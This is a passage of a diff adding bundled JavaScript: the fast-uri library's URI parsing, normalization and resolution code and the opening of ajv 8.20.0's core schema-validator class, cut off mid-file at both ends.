/^[A-Za-z][A-Za-z0-9+.-]*$/u; + var MALFORMED_SCHEME_ERROR = "URI scheme is malformed."; + function decodeValidScheme(scheme) { + const decodedScheme = unescape(String(scheme)); + if (!VALID_SCHEME.test(decodedScheme)) { + throw new TypeError(MALFORMED_SCHEME_ERROR); + } + return decodedScheme; + } + function normalize(uri, options) { + if (typeof uri === "string") { + uri = /** @type {T} */ + normalizeString(uri, options); + } else if (typeof uri === "object") { + uri = /** @type {T} */ + parse4(serialize(uri, options), options); + } + return uri; + } + function resolve(baseURI, relativeURI, options) { + const schemelessOptions = options ? Object.assign({ scheme: "null" }, options) : { scheme: "null" }; + const { + parsed: baseParsed, + malformedAuthorityOrPort: baseMalformed, + malformedPercentEncoding: baseMalformedPercentEncoding, + malformedSchemeSpecific: baseMalformedSchemeSpecific, + malformedHost: baseMalformedHost, + malformedScheme: baseMalformedScheme + } = parseWithStatus(baseURI, schemelessOptions); + const { + parsed: relativeParsed, + malformedAuthorityOrPort: relativeMalformed, + malformedPercentEncoding: relativeMalformedPercentEncoding, + malformedSchemeSpecific: relativeMalformedSchemeSpecific, + malformedHost: relativeMalformedHost, + malformedScheme: relativeMalformedScheme + } = parseWithStatus(relativeURI, schemelessOptions); + if (baseMalformed || relativeMalformed || baseMalformedPercentEncoding || relativeMalformedPercentEncoding || baseMalformedSchemeSpecific || relativeMalformedSchemeSpecific || baseMalformedHost || relativeMalformedHost || baseMalformedScheme || relativeMalformedScheme) { + throw new Error(baseParsed.error || relativeParsed.error || "URI is malformed."); + } + const resolved = resolveComponent(baseParsed, relativeParsed, schemelessOptions, true); + const resolvedSchemeHandler = getSchemeHandler(options && options.scheme || resolved.scheme); + const resolvedHost = resolved.host; + const resolvedHostIsIP = resolvedHost !== void 0 && resolvedHost !== "" && (isIPv4(resolvedHost) || normalizeIPv6(resolvedHost).isIPV6); + canonicalizeHost(resolved, options || {}, resolvedSchemeHandler, resolvedHostIsIP); + const encodedASCIIHost = resolvedHost && resolvedHost.indexOf("%") !== -1 && !new RegExp("\\P{ASCII}", "u").test(resolvedHost); + if (resolved.error && !encodedASCIIHost) { + throw new Error(resolved.error); + } + schemelessOptions.skipEscape = true; + return serialize(resolved, schemelessOptions); + } + function resolveComponent(base, relative, options, skipNormalization) { + const target = {}; + if (!skipNormalization) { + base = parse4(serialize(base, options), options); + relative = parse4(serialize(relative, options), options); + } + options = options || {}; + if (!options.tolerant && relative.scheme) { + target.scheme = relative.scheme; + target.userinfo = relative.userinfo; + target.host = relative.host; + target.port = relative.port; + target.path = removeDotSegments(relative.path || ""); + target.query = relative.query; + } else { + if (relative.userinfo !== void 0 || relative.host !== void 0 || relative.port !== void 0) { + target.userinfo = relative.userinfo; + target.host = relative.host; + target.port = relative.port; + target.path = removeDotSegments(relative.path || ""); + target.query = relative.query; + } else { + if (!relative.path) { + target.path = base.path; + if (relative.query !== void 0) { + target.query = relative.query; + } else { + target.query = base.query; + } + } else { + if (relative.path[0] === "/") { + target.path = removeDotSegments(relative.path); + } else { + if ((base.userinfo !== void 0 || base.host !== void 0 || base.port !== void 0) && !base.path) { + target.path = "/" + relative.path; + } else if (!base.path) { + target.path = relative.path; + } else { + target.path = base.path.slice(0, base.path.lastIndexOf("/") + 1) + relative.path; + } + target.path = removeDotSegments(target.path); + } + target.query = relative.query; + } + target.userinfo = base.userinfo; + target.host = base.host; + target.port = base.port; + } + target.scheme = base.scheme; + } + target.fragment = relative.fragment; + return target; + } + function equal(uriA, uriB, options) { + const normalizedA = normalizeComparableURI(uriA, options); + const normalizedB = normalizeComparableURI(uriB, options); + return normalizedA !== void 0 && normalizedB !== void 0 && normalizedA === normalizedB; + } + function serialize(cmpts, opts) { + const component = { + host: cmpts.host, + scheme: cmpts.scheme, + userinfo: cmpts.userinfo, + port: cmpts.port, + path: cmpts.path, + query: cmpts.query, + nid: cmpts.nid, + nss: cmpts.nss, + uuid: cmpts.uuid, + fragment: cmpts.fragment, + reference: cmpts.reference, + resourceName: cmpts.resourceName, + secure: cmpts.secure, + error: "" + }; + const options = Object.assign({}, opts); + const uriTokens = []; + if (component.scheme) { + component.scheme = decodeValidScheme(component.scheme); + } + const schemeHandler = getSchemeHandler(options.scheme || component.scheme); + if (schemeHandler && schemeHandler.serialize) schemeHandler.serialize(component, options); + const hasAuthority = component.userinfo !== void 0 || component.host !== void 0 || component.port !== void 0; + const pathNoScheme = !options.skipEscape && component.scheme === void 0 && !hasAuthority; + if (component.path !== void 0) { + if (!options.skipEscape) { + component.path = serializePathEncoding(component.path, pathNoScheme); + } else { + component.path = normalizePercentEncoding(component.path); + } + } + if (options.reference !== "suffix" && component.scheme) { + component.scheme = decodeValidScheme(component.scheme); + uriTokens.push(component.scheme, ":"); + } + const authority = recomposeAuthority(component); + if (authority !== void 0) { + if (options.reference !== "suffix") { + uriTokens.push("//"); + } + uriTokens.push(authority); + if (component.path && component.path[0] !== "/") { + uriTokens.push("/"); + } + } + if (component.path !== void 0) { + let s = component.path; + if (!options.absolutePath && (!schemeHandler || !schemeHandler.absolutePath)) { + s = removeDotSegments(s); + } + if (pathNoScheme) { + s = serializePathEncoding(s, true); + } + if (authority === void 0 && s[0] === "/" && s[1] === "/") { + s = "/%2F" + s.slice(2); + } + uriTokens.push(s); + } + if (component.query !== void 0) { + uriTokens.push("?", encodeQuery(component.query)); + } + if (component.fragment !== void 0) { + uriTokens.push("#", encodeFragment(component.fragment)); + } + return uriTokens.join(""); + } + var URI_PARSE = /^(?:([^#/:?]+):)?(?:\/\/((?:([^#/?@]*)@)?(\[[^#/?\]]+\]|[^#/:?]*)(?::(\d*))?))?([^#?]*)(?:\?([^#]*))?(?:#((?:.|[\n\r])*))?/u; + var AUTHORITY_PREFIX = /^(?:[^#/:?]+:)?\/\/([^/?#]*)/; + var AUTHORITY_INTRODUCER_REGION = /^(?:[^#/:?]+:)?([/\\\t\n\r]*)/; + function getParseError(parsed, matches) { + if (matches[2] !== void 0 && parsed.path && parsed.path[0] !== "/") { + return 'URI path must start with "/" when authority is present.'; + } + if (typeof parsed.port === "number" && (parsed.port < 0 || parsed.port > 65535)) { + return "URI port is malformed."; + } + return void 0; + } + function hasMalformedPercentEncoding(component) { + if (component === void 0) return false; + let percent = component.indexOf("%"); + while (percent !== -1) { + if (percent + 2 >= component.length || !/^[\da-f]{2}$/iu.test(component.slice(percent + 1, percent + 3))) { + return true; + } + percent = component.indexOf("%", percent + 3); + } + return false; + } + function isIPLiteral(host) { + return host[0] === "[" && host[host.length - 1] === "]"; + } + function hasMalformedComponentPercentEncoding(matches) { + const host = matches[4]; + return hasMalformedPercentEncoding(matches[3]) || host !== void 0 && !isIPLiteral(host) && hasMalformedPercentEncoding(host) || hasMalformedPercentEncoding(matches[6]) || hasMalformedPercentEncoding(matches[7]) || hasMalformedPercentEncoding(matches[8]); + } + function canonicalizeHost(parsed, options, schemeHandler, isIP) { + if (!options.unicodeSupport && (!schemeHandler || !schemeHandler.unicodeSupport) && parsed.host && !isIPLiteral(parsed.host) && (options.domainHost || schemeHandler && schemeHandler.domainHost) && isIP === false && nonSimpleDomain(parsed.host)) { + try { + parsed.host = new URL("http://" + parsed.host).hostname; + } catch (e) { + parsed.error = parsed.error || "Host's domain name can not be converted to ASCII: " + e; + return true; + } + } + return false; + } + function parseWithStatus(uri, opts) { + const options = Object.assign({}, opts); + const parsed = { + scheme: void 0, + userinfo: void 0, + host: "", + port: void 0, + path: "", + query: void 0, + fragment: void 0 + }; + let malformedAuthorityOrPort = false; + let malformedPercentEncoding = false; + let malformedSchemeSpecific = false; + let malformedHost = false; + let malformedIPLiteral = false; + let malformedScheme = false; + let isIP = false; + if (options.reference === "suffix") { + if (options.scheme) { + uri = options.scheme + ":" + uri; + } else { + uri = "//" + uri; + } + } + const authorityMatch = uri.match(AUTHORITY_PREFIX); + if (authorityMatch !== null && authorityMatch[1].indexOf("\\") !== -1) { + parsed.error = "URI authority must not contain a literal backslash."; + malformedAuthorityOrPort = true; + } + const introducerMatch = uri.match(AUTHORITY_INTRODUCER_REGION); + if (introducerMatch !== null) { + const region = introducerMatch[1]; + const normalizedRegion = region.replace(/[\t\n\r]/g, ""); + if (normalizedRegion.length >= 2) { + if (normalizedRegion.slice(0, 2) !== "//") { + parsed.error = parsed.error || "URI authority must not contain a literal backslash."; + malformedAuthorityOrPort = true; + } else if (region.length !== normalizedRegion.length) { + parsed.error = parsed.error || "URI authority introducer must not contain whitespace."; + malformedAuthorityOrPort = true; + } + } + } + const matches = uri.match(URI_PARSE); + if (matches) { + parsed.scheme = matches[1]; + parsed.userinfo = matches[3]; + parsed.host = matches[4]; + parsed.port = parseInt(matches[5], 10); + parsed.path = matches[6] || ""; + parsed.query = matches[7]; + parsed.fragment = matches[8]; + if (parsed.scheme !== void 0) { + const decodedScheme = unescape(parsed.scheme); + if (VALID_SCHEME.test(decodedScheme)) { + parsed.scheme = decodedScheme.toLowerCase(); + } else { + parsed.error = parsed.error || MALFORMED_SCHEME_ERROR; + malformedScheme = true; + } + } + malformedPercentEncoding = hasMalformedComponentPercentEncoding(matches); + if (malformedPercentEncoding) { + parsed.error = parsed.error || "URI contains malformed percent-encoding."; + } + if (isNaN(parsed.port)) { + parsed.port = matches[5]; + } + const parseError2 = getParseError(parsed, matches); + if (parseError2 !== void 0) { + parsed.error = parsed.error || parseError2; + malformedAuthorityOrPort = true; + } + if (parsed.host) { + const ipv4result = isIPv4(parsed.host); + if (ipv4result === false) { + const bracketedIPLiteral = isIPLiteral(parsed.host); + const hasIPLiteralBracket = parsed.host.indexOf("[") !== -1 || parsed.host.indexOf("]") !== -1; + const ipv6result = normalizeIPv6(parsed.host); + isIP = ipv6result.isIPV6 || ipv6result.isIPVFuture === true; + malformedIPLiteral = hasIPLiteralBracket && (!bracketedIPLiteral || ipv6result.error === true); + parsed.host = isIP ? ipv6result.host : ipv6result.host.toLowerCase(); + if (malformedIPLiteral) { + parsed.error = parsed.error || "URI host is malformed."; + malformedAuthorityOrPort = true; + } + } else { + isIP = true; + } + } + if (parsed.scheme === void 0 && parsed.userinfo === void 0 && parsed.host === void 0 && parsed.port === void 0 && parsed.query === void 0 && !parsed.path) { + parsed.reference = "same-document"; + } else if (parsed.scheme === void 0) { + parsed.reference = "relative"; + } else if (parsed.fragment === void 0) { + parsed.reference = "absolute"; + } else { + parsed.reference = "uri"; + } + if (options.reference && options.reference !== "suffix" && options.reference !== parsed.reference) { + parsed.error = parsed.error || "URI is not a " + options.reference + " reference."; + } + const schemeHandler = getSchemeHandler(options.scheme || parsed.scheme); + if (!malformedIPLiteral) { + malformedHost = canonicalizeHost(parsed, options, schemeHandler, isIP); + } + if (uri.indexOf("%") !== -1 && parsed.host !== void 0 && !malformedIPLiteral) { + let host = isIP ? parsed.host : normalizePercentEncoding(parsed.host, true); + if (!isIP) { + host = normalizePercentEncoding(host.toLowerCase()); + } + parsed.host = reescapeHostDelimiters(host, isIP); + } + if (!schemeHandler || schemeHandler && !schemeHandler.skipNormalize) { + if (parsed.path) { + parsed.path = normalizePathEncoding(parsed.path); + } + if (parsed.query) { + parsed.query = normalizeQueryFragmentEncoding(parsed.query); + } + if (parsed.fragment) { + parsed.fragment = normalizeQueryFragmentEncoding(parsed.fragment); + } + } + if (schemeHandler && schemeHandler.parse) { + schemeHandler.parse(parsed, options); + if (schemeHandler === SCHEMES.urn && parsed.nid === void 0) { + malformedSchemeSpecific = true; + } + } + } else { + parsed.error = parsed.error || "URI can not be parsed."; + } + return { parsed, malformedAuthorityOrPort, malformedPercentEncoding, malformedSchemeSpecific, malformedHost, malformedScheme }; + } + function parse4(uri, opts) { + return parseWithStatus(uri, opts).parsed; + } + function normalizeString(uri, opts) { + return normalizeStringWithStatus(uri, opts).normalized; + } + function normalizeStringWithStatus(uri, opts) { + const { parsed, malformedAuthorityOrPort, malformedPercentEncoding, malformedSchemeSpecific, malformedHost, malformedScheme } = parseWithStatus(uri, opts); + return { + normalized: malformedAuthorityOrPort || malformedPercentEncoding || malformedSchemeSpecific || malformedHost || malformedScheme ? uri : serialize(parsed, opts), + malformedAuthorityOrPort, + malformedPercentEncoding, + malformedSchemeSpecific, + malformedHost, + malformedScheme + }; + } + function normalizeComparableURI(uri, opts) { + if (typeof uri !== "string" && typeof uri !== "object") { + return void 0; + } + let value; + try { + value = typeof uri === "string" ? uri : serialize(uri, opts); + } catch { + return void 0; + } + const { normalized, malformedAuthorityOrPort, malformedPercentEncoding, malformedSchemeSpecific, malformedHost, malformedScheme } = normalizeStringWithStatus(value, opts); + return malformedAuthorityOrPort || malformedPercentEncoding || malformedSchemeSpecific || malformedHost || malformedScheme ? void 0 : normalized; + } + var fastUri = { + SCHEMES, + normalize, + resolve, + resolveComponent, + equal, + serialize, + parse: parse4 + }; + module.exports = fastUri; + module.exports.default = fastUri; + module.exports.fastUri = fastUri; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/runtime/uri.js +var require_uri = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/runtime/uri.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var uri = require_fast_uri(); + uri.code = 'require("ajv/dist/runtime/uri").default'; + exports.default = uri; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/core.js +var require_core = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/core.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.CodeGen = exports.Name = exports.nil = exports.stringify = exports.str = exports._ = exports.KeywordCxt = void 0; + var validate_1 = require_validate(); + Object.defineProperty(exports, "KeywordCxt", { enumerable: true, get: function() { + return validate_1.KeywordCxt; + } }); + var codegen_1 = require_codegen(); + Object.defineProperty(exports, "_", { enumerable: true, get: function() { + return codegen_1._; + } }); + Object.defineProperty(exports, "str", { enumerable: true, get: function() { + return codegen_1.str; + } }); + Object.defineProperty(exports, "stringify", { enumerable: true, get: function() { + return codegen_1.stringify; + } }); + Object.defineProperty(exports, "nil", { enumerable: true, get: function() { + return codegen_1.nil; + } }); + Object.defineProperty(exports, "Name", { enumerable: true, get: function() { + return codegen_1.Name; + } }); + Object.defineProperty(exports, "CodeGen", { enumerable: true, get: function() { + return codegen_1.CodeGen; + } }); + var validation_error_1 = require_validation_error(); + var ref_error_1 = require_ref_error(); + var rules_1 = require_rules(); + var compile_1 = require_compile(); + var codegen_2 = require_codegen(); + var resolve_1 = require_resolve(); + var dataType_1 = require_dataType(); + var util_1 = require_util(); + var $dataRefSchema = require_data(); + var uri_1 = require_uri(); + var defaultRegExp = (str, flags) => new RegExp(str, flags); + defaultRegExp.code = "new RegExp"; + var META_IGNORE_OPTIONS = ["removeAdditional", "useDefaults", "coerceTypes"]; + var EXT_SCOPE_NAMES = /* @__PURE__ */ new Set([ + "validate", + "serialize", + "parse", + "wrapper", + "root", + "schema", + "keyword", + "pattern", + "formats", + "validate$data", + "func", + "obj", + "Error" + ]); + var removedOptions = { + errorDataPath: "", + format: "`validateFormats: false` can be used instead.", + nullable: '"nullable" keyword is supported by default.', + jsonPointers: "Deprecated jsPropertySyntax can be used instead.", + extendRefs: "Deprecated ignoreKeywordsWithRef can be used instead.", + missingRefs: "Pass empty schema with $id that should be ignored to ajv.addSchema.", + processCode: "Use option `code: {process: (code, schemaEnv: object) => string}`", + sourceCode: "Use option `code: {source: true}`", + strictDefaults: "It is default now, see option `strict`.", + strictKeywords: "It is default now, see option `strict`.", + uniqueItems: '"uniqueItems" keyword is always validated.', + unknownFormats: "Disable strict mode or pass `true` to `ajv.addFormat` (or `formats` option).", + cache: "Map is used as cache, schema object as key.", + serialize: "Map is used as cache, schema object as key.", + ajvErrors: "It is default now." + }; + var deprecatedOptions = { + ignoreKeywordsWithRef: "", + jsPropertySyntax: "", + unicode: '"minLength"/"maxLength" account for unicode characters by default.' + }; + var MAX_EXPRESSION = 200; + function requiredOptions(o) { + var _a3, _b, _c, _d, _e, _f, _g, _h, _j, _k, _l, _m, _o, _p, _q, _r, _s, _t, _u, _v, _w, _x, _y, _z, _0; + const s = o.strict; + const _optz = (_a3 = o.code) === null || _a3 === void 0 ? void 0 : _a3.optimize; + const optimize = _optz === true || _optz === void 0 ? 1 : _optz || 0; + const regExp = (_c = (_b = o.code) === null || _b === void 0 ? void 0 : _b.regExp) !== null && _c !== void 0 ? _c : defaultRegExp; + const uriResolver = (_d = o.uriResolver) !== null && _d !== void 0 ? _d : uri_1.default; + return { + strictSchema: (_f = (_e = o.strictSchema) !== null && _e !== void 0 ? _e : s) !== null && _f !== void 0 ? _f : true, + strictNumbers: (_h = (_g = o.strictNumbers) !== null && _g !== void 0 ? _g : s) !== null && _h !== void 0 ? _h : true, + strictTypes: (_k = (_j = o.strictTypes) !== null && _j !== void 0 ? _j : s) !== null && _k !== void 0 ? _k : "log", + strictTuples: (_m = (_l = o.strictTuples) !== null && _l !== void 0 ? _l : s) !== null && _m !== void 0 ? _m : "log", + strictRequired: (_p = (_o = o.strictRequired) !== null && _o !== void 0 ? _o : s) !== null && _p !== void 0 ? _p : false, + code: o.code ? { ...o.code, optimize, regExp } : { optimize, regExp }, + loopRequired: (_q = o.loopRequired) !== null && _q !== void 0 ? _q : MAX_EXPRESSION, + loopEnum: (_r = o.loopEnum) !== null && _r !== void 0 ? _r : MAX_EXPRESSION, + meta: (_s = o.meta) !== null && _s !== void 0 ? _s : true, + messages: (_t = o.messages) !== null && _t !== void 0 ? _t : true, + inlineRefs: (_u = o.inlineRefs) !== null && _u !== void 0 ? _u : true, + schemaId: (_v = o.schemaId) !== null && _v !== void 0 ? _v : "$id", + addUsedSchema: (_w = o.addUsedSchema) !== null && _w !== void 0 ? _w : true, + validateSchema: (_x = o.validateSchema) !== null && _x !== void 0 ? _x : true, + validateFormats: (_y = o.validateFormats) !== null && _y !== void 0 ? _y : true, + unicodeRegExp: (_z = o.unicodeRegExp) !== null && _z !== void 0 ? _z : true, + int32range: (_0 = o.int32range) !== null && _0 !== void 0 ? _0 : true, + uriResolver + }; + } + var Ajv = class { + constructor(opts = {}) { + this.schemas = {}; + this.refs = {}; + this.formats = /* @__PURE__ */ Object.create(null); + this._compilations = /* @__PURE__ */ new Set(); + this._loading = {}; + this._cache = /* @__PURE__ */ new Map(); + opts = this.opts = { ...opts, ...requiredOptions(opts) }; + const { es5, lines } = this.opts.code; + this.scope = new codegen_2.ValueScope({ scope: {}, prefixes: EXT_SCOPE_NAMES, es5, lines }); + this.logger = getLogger(opts.logger); + const formatOpt = opts.validateFormats; + opts.validateFormats = false; + this.RULES = (0, rules_1.getRules)(); + checkOptions.call(this, removedOptions, opts, "NOT SUPPORTED"); + checkOptions.call(this, deprecatedOptions, opts, "DEPRECATED", "warn"); + this._metaOpts = getMetaSchemaOptions.call(this); + if (opts.formats) + addInitialFormats.call(this); + this._addVocabularies(); + this._addDefaultMetaSchema(); + if (opts.keywords) + addInitialKeywords.call(this, opts.keywords); + if (typeof opts.meta == "object") + this.addMetaSchema(opts.meta); + addInitialSchemas.call(this); + opts.validateFormats = formatOpt; + } + _addVocabularies() { + this.addKeyword("$async"); + } + _addDefaultMetaSchema() { + const { $data, meta: meta3, schemaId } = this.opts; + let _dataRefSchema = $dataRefSchema; + if (schemaId === "id") { + _dataRefSchema = { ...$dataRefSchema }; + _dataRefSchema.id = _dataRefSchema.$id; + delete _dataRefSchema.$id; + } + if (meta3 && $data) + this.addMetaSchema(_dataRefSchema, _dataRefSchema[schemaId], false); + } + defaultMeta() { + const { meta: meta3, schemaId } = this.opts; + return this.opts.defaultMeta = typeof meta3 == "object" ? meta3[schemaId] || meta3 : void 0; + } + validate(schemaKeyRef, data) { + let v; + if (typeof schemaKeyRef == "string") { + v = this.getSchema(schemaKeyRef); + if (!v) + throw new Error(`no schema with key or ref "${schemaKeyRef}"`); + } else { + v = this.compile(schemaKeyRef); + } + const valid = v(data); + if (!("$async" in v)) + this.errors = v.errors; + return valid; + } + compile(schema, _meta) { + const sch = this._addSchema(schema, _meta); + return sch.validate || this._compileSchemaEnv(sch); + } + compileAsync(schema, meta3) { + if (typeof this.opts.loadSchema != "function") { + throw new Error("options.loadSchema should be a function"); + } + const { loadSchema } = this.opts; + return runCompileAsync.call(this, schema, meta3); + async function runCompileAsync(_schema, _meta) { + await loadMetaSchema.call(this, _schema.$schema); + const sch = this._addSchema(_schema, _meta); + return sch.validate || _compileAsync.call(this, sch); + } + async function loadMetaSchema($ref) { + if ($ref && !this.getSchema($ref)) { + await runCompileAsync.call(this, { $ref }, true); + } + } + async function _compileAsync(sch) { + try { + return this._compileSchemaEnv(sch); + } catch (e) { + if (!(e instanceof ref_error_1.default)) + throw e; + checkLoaded.call(this, e); + await loadMissingSchema.call(this, e.missingSchema); + return _compileAsync.call(this, sch); + } + } + function checkLoaded({ missingSchema: ref, missingRef }) { + if (this.refs[ref]) { + throw new Error(`AnySchema ${ref} is loaded but ${missingRef} cannot be resolved`); + } + } + async function loadMissingSchema(ref) { + const _schema = await _loadSchema.call(this, ref); + if (!this.refs[ref]) + await loadMetaSchema.call(this, _schema.$schema); + if (!this.refs[ref]) + this.addSchema(_schema, ref, meta3); + } + async function _loadSchema(ref) { + const p = this._loading[ref]; + if (p) + return p; + try { + return await (this._loading[ref] = loadSchema(ref)); + } finally { + delete this._loading[ref]; + } + } + } + // Adds schema to the instance + addSchema(schema, key, _meta, _validateSchema = this.opts.validateSchema) { + if (Array.isArray(schema)) { + for (const sch of schema) + this.addSchema(sch, void 0, _meta, _validateSchema); + return this; + } + let id; + if (typeof schema === "object") { + const { schemaId } = this.opts; + id = schema[schemaId]; + if (id !== void 0 && typeof id != "string") { + throw new Error(`schema ${schemaId} must be string`); + } + } + key = (0, resolve_1.normalizeId)(key || id); + this._checkUnique(key); + this.schemas[key] = this._addSchema(schema, _meta, key, _validateSchema, true); + return this; + } + // Add schema that will be used to validate other schemas + // options in META_IGNORE_OPTIONS are alway set to false + addMetaSchema(schema, key, _validateSchema = this.opts.validateSchema) { + this.addSchema(schema, key, true, _validateSchema); + return this; + } + // Validate schema against its meta-schema + validateSchema(schema, throwOrLogError) { + if (typeof schema == "boolean") + return true; + let $schema; + $schema = schema.$schema; + if ($schema !== void 0 && typeof $schema != "string") { + throw new Error("$schema must be a string"); + } + $schema = $schema || this.opts.defaultMeta || this.defaultMeta(); + if (!$schema) { + this.logger.warn("meta-schema not available"); + this.errors = null; + return true; + } + const valid = this.validate($schema, schema); + if (!valid && throwOrLogError) { + const message2 = "schema is invalid: " + this.errorsText(); + if (this.opts.validateSchema === "log") + this.logger.error(message2); + else + throw new Error(message2); + } + return valid; + } + // Get compiled schema by `key` or `ref`. + // (`key` that was passed to `addSchema` or full schema reference - `schema.$id` or resolved id) + getSchema(keyRef) { + let sch; + while (typeof (sch = getSchEnv.call(this, keyRef)) == "string") + keyRef = sch; + if (sch === void 0) { + const { schemaId } = this.opts; + const root = new compile_1.SchemaEnv({ schema: {}, schemaId }); + sch = compile_1.resolveSchema.call(this, root, keyRef); + if (!sch) + return; + this.refs[keyRef] = sch; + } + return sch.validate || this._compileSchemaEnv(sch); + } + // Remove cached schema(s). + // If no parameter is passed all schemas but meta-schemas are removed. + // If RegExp is passed all schemas with key/id matching pattern but meta-schemas are removed. + // Even if schema is referenced by other schemas it still can be removed as other schemas have local references. + removeSchema(schemaKeyRef) { + if (schemaKeyRef instanceof RegExp) { + this._removeAllSchemas(this.schemas, schemaKeyRef); + this._removeAllSchemas(this.refs, schemaKeyRef); + return this; + } + switch (typeof schemaKeyRef) { + case "undefined": + this._removeAllSchemas(this.schemas); + this._removeAllSchemas(this.refs); + this._cache.clear(); + return this; + case "string": { + const sch = getSchEnv.call(this, schemaKeyRef); + if (typeof sch == "object") + this._cache.delete(sch.schema); + delete this.schemas[schemaKeyRef]; + delete this.refs[schemaKeyRef]; + return this; + } + case "object": { + const cacheKey = schemaKeyRef; + this._cache.delete(cacheKey); + let id = schemaKeyRef[this.opts.schemaId]; + if (id) { + id = (0, resolve_1.normalizeId)(id); + delete this.schemas[id]; + delete this.refs[id]; + } + return this; + } + default: + throw new Error("ajv.removeSchema: invalid parameter"); + } + } + // add "vocabulary" - a collection of keywords + addVocabulary(definitions) { + for (const def of definitions) + this.addKeyword(def); + return this; + } + addKeyword(kwdOrDef, def) { + let keyword; + if (typeof kwdOrDef == "string") { + keyword = kwdOrDef; + if (typeof def == "object") { + this.logger.warn("these parameters are deprecated, see docs for addKeyword"); + def.keyword = keyword; + } + } else if (typeof kwdOrDef == "object" && def === void 0) { + def = kwdOrDef; + keyword = def.keyword; + if (Array.isArray(keyword) && !keyword.length) { + throw new Error("addKeywords: keyword must be string or non-empty array"); + } + } else { + throw new Error("invalid addKeywords parameters"); + } + checkKeyword.call(this, keyword, def); + if (!def) { + (0, util_1.eachItem)(keyword, (kwd) => addRule.call(this, kwd)); + return this; + } + keywordMetaschema.call(this, def); + const definition = { + ...def, + type: (0, dataType_1.getJSONTypes)(def.type), + schemaType: (0, dataType_1.getJSONTypes)(def.schemaType) + }; + (0, util_1.eachItem)(keyword, definition.type.length === 0 ? (k) => addRule.call(this, k, definition) : (k) => definition.type.forEach((t) => addRule.call(this, k, definition, t))); + return this; + } + getKeyword(keyword) { + const rule = this.RULES.all[keyword]; + return typeof rule == "object" ? rule.definition : !!rule; + } + // Remove keyword + removeKeyword(keyword) { + const { RULES } = this; + delete RULES.keywords[keyword]; + delete RULES.all[keyword]; + for (const group of RULES.rules) { + const i = group.rules.findIndex((rule) => rule.keyword === keyword); + if (i >= 0) + group.rules.splice(i, 1); + } + return this; + } + // Add format + addFormat(name, format) { + if (typeof format == "string") + format = new RegExp(format); + this.formats[name] = format; + return this; + } + errorsText(errors = this.errors, { separator = ", ", dataVar = "data" } = {}) { + if (!errors || errors.length === 0) + return "No errors"; + return errors.map((e) => `${dataVar}${e.instancePath} ${e.message}`).reduce((text2, msg) => text2 + separator + msg); + } + $dataMetaSchema(metaSchema, keywordsJsonPointers) { + const rules = this.RULES.all; + metaSchema = JSON.parse(JSON.stringify(metaSchema)); + for (const jsonPointer of keywordsJsonPointers) { + const segments = jsonPointer.split("/").slice(1); + let keywords = metaSchema; + for (const seg of segments) + keywords = keywords[seg]; + for (const key in rules) { + const rule = rules[key]; + if (typeof rule != "object") + continue; + const { $data } = rule.definition; + const schema = keywords[key]; + if ($data && schema) + keywords[key] = schemaOrData(schema); + } + } + return metaSchema; + } + _removeAllSchemas(schemas, regex) { + for (const keyRef in schemas) { + const sch = schemas[keyRef]; + if (!regex || regex.test(keyRef)) { + if (typeof sch == "string") { + delete schemas[keyRef]; + } else if (sch && !sch.meta) { + this._cache.delete(sch.schema); + delete schemas[keyRef]; + } + } + } + } + _addSchema(schema, meta3, baseId, validateSchema = this.opts.validateSchema, addSchema = this.opts.addUsedSchema) { + let id; + const { schemaId } = this.opts; + if (typeof schema == "object") { + id = schema[schemaId]; + } else { + if (this.opts.jtd) + throw new Error("schema must be object"); + else if (typeof schema != "boolean") + throw new Error("schema must be object or boolean"); + } + let sch = this._cache.get(schema); + if (sch !== void 0) + return sch; + baseId = (0, resolve_1.normalizeId)(id || baseId); + const localRefs = resolve_1.getSchemaRefs.call(this, schema, baseId); + sch = new compile_1.SchemaEnv({ schema, schemaId, meta: meta3, baseId, localRefs }); + this._cache.set(sch.schema, sch); + if (addSchema && !baseId.startsWith("#")) { + if (baseId) + this._checkUnique(baseId); + this.refs[baseId] = sch; + } + if (validateSchema) + this.validateSchema(schema, true); + return sch; + } + _checkUnique(id) { + if (this.schemas[id] || this.refs[id]) { + throw new Error(`schema with key or id "${id}" already exists`); + } + } + _compileSchemaEnv(sch) { + if (sch.meta) + this._compileMetaSchema(sch); + else + compile_1.compileSchema.call(this, sch); + if (!sch.validate) + throw new Error("ajv implementation error"); + return sch.validate; + } + _compileMetaSchema(sch) { + const currentOpts = this.opts; + this.opts = this._metaOpts; + try { + compile_1.compileSchema.call(this, sch); + } finally { + this.opts = currentOpts; + } + } + }; + Ajv.ValidationError = validation_error_1.default; + Ajv.MissingRefError = ref_error_1.default; + exports.default = Ajv; + function checkOptions(checkOpts, options, msg, log = "error") { + for (const key in checkOpts) { + const opt = key; + if (opt in options) + this.logger[log](`${msg}: option ${key}. ${checkOpts[opt]}`); + } + } + function getSchEnv(keyRef) { + keyRef = (0, resolve_1.normalizeId)(keyRef); + return this.schemas[keyRef] || this.refs[keyRef]; + } + function addInitialSchemas() { + const optsSchemas = this.opts.schemas; + if (!optsSchemas) + return; + if (Array.isArray(optsSchemas)) + this.addSchema(optsSchemas); + else + for (const key in optsSchemas) + this.addSchema(optsSchemas[key], key); + } + function addInitialFormats() { + for (const name in this.opts.formats) { + const format = this.opts.formats[name]; + if (format) + this.addFormat(name, format); + } + } + function addInitialKeywords(defs) { + if (Array.isArray(defs)) { + this.addVocabulary(defs); + return; + } + this.logger.warn("keywords option as map is deprecated, pass array"); + for (const keyword in defs) { + const def = defs[keyword]; + if (!def.keyword) + def.keyword = keyword; + this.addKeyword(def); + } + } + function getMetaSchemaOptions() { + const metaOpts = { ...this.opts }; + for (const opt of META_IGNORE_OPTIONS) + delete metaOpts[opt]; + return metaOpts; + } + var noLogs = { log() { + }, warn() { + }, error() { + } }; + function getLogger(logger2) { + if (logger2 === false) + return noLogs; + if (logger2 === void 0) + return console; + if (logger2.log && logger2.warn && logger2.error) + return logger2; + throw new Error("logger must implement log, warn and error methods"); + } + var KEYWORD_NAME = /^[a-z_$][a-z0-9_$:-]*$/i; + function checkKeyword(keyword, def) { + const { RULES } = this; + (0, util_1.eachItem)(keyword, (kwd) => { + if (RULES.keywords[kwd]) + throw new Error(`Keyword 